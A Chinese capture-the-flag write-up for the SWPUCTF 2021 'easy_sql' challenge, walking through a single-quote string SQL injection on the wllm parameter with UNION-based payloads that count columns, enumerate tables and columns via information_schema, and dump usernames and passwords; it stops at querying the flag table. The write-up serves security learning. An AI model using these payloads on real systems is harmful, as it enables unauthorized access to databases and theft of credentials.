[SWPUCTF 2021 新生赛]easy_sql

1.题目

2.打开题目如图

文章的标题说参数是wllm,那么我们传入参数测试,返回如下,我们试试1'去找注入类型

注入类型

数字型sql注入

字符型sql注入

我们传入wllm=1'的时候发现报错了,然后使用注释符闭合,不报错了,所以是字符型注入闭合为单引号

3.构造payload语句解题

1' order by 1--+ //正常

1' order by 2 --+ //正常

1' order by 3 --+ //正常

1' order by 4 --+ //报错

........................

我们可以知道这个数据库有4列,然后我们来判断回显点

语句:-1' union select 1,2,3--+ //这个闭合使用%23和--+都可以 ||'也可以闭合,这里没有返回回显点,忘记了需要用-1或这个不存在的,这样它差不到数据,才返回回显点

如下图,成功回显

发现有两个回显点,用哪个都可以,构造语句查看数据库

-1'union select 1,database(),3--+

查到数据库的名字是test_db然后通过数据库去查表名

-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test_db' --+

得到了一个test_db和一个users表

通过表名去查字段

-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

查到了一堆的字段,其中username和password比较敏感,我们去看这两个字段的内容

-1'union select 1,group_concat(username,password),3 from test_db.users--+

很抱歉,这里发现flag不在username和password字段,而是再test_tb表中的flag字段中

-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='test_tb'--

相关推荐
草莓熊Lotso4 分钟前
手搓工业级 C++ 线程安全日志系统:基于策略模式解耦,兼容 glog 使用风格
linux·运维·服务器·数据库·c++·安全·策略模式
2402_854808374 分钟前
c++ RAII机制详解 c++如何利用RAII管理资源
jvm·数据库·python
吕源林5 分钟前
CSS如何使用Less的Merge功能合并多个属性值_通过逗号或空格组织css参数
jvm·数据库·python
qq_330037996 分钟前
Go语言如何写负载均衡器_Go语言负载均衡器实战教程【完整】
jvm·数据库·python
2501_914245937 分钟前
如何验证SQL删除操作的影响行数_通过ROW_COUNT获取反馈
jvm·数据库·python
2301_816660217 分钟前
如何处理DG Broker的ORA-16664错误_主备库网络通信与TNS配置排查
jvm·数据库·python
2401_835956819 分钟前
mysql如何配置用户只读权限_授予SELECT权限与限制操作
jvm·数据库·python
weixin_4087177710 分钟前
HTML怎么标注成就连续打卡中断_HTML“断连,重新开始”提示【方法】
jvm·数据库·python
m0_7436239210 分钟前
怎么通过Navicat快速实现离线模式下使用云端资源_企业协同实战指南
jvm·数据库·python
tjc1990100512 分钟前
MySQL数据插入报错数据截断_检查字段长度与数据类型
jvm·数据库·python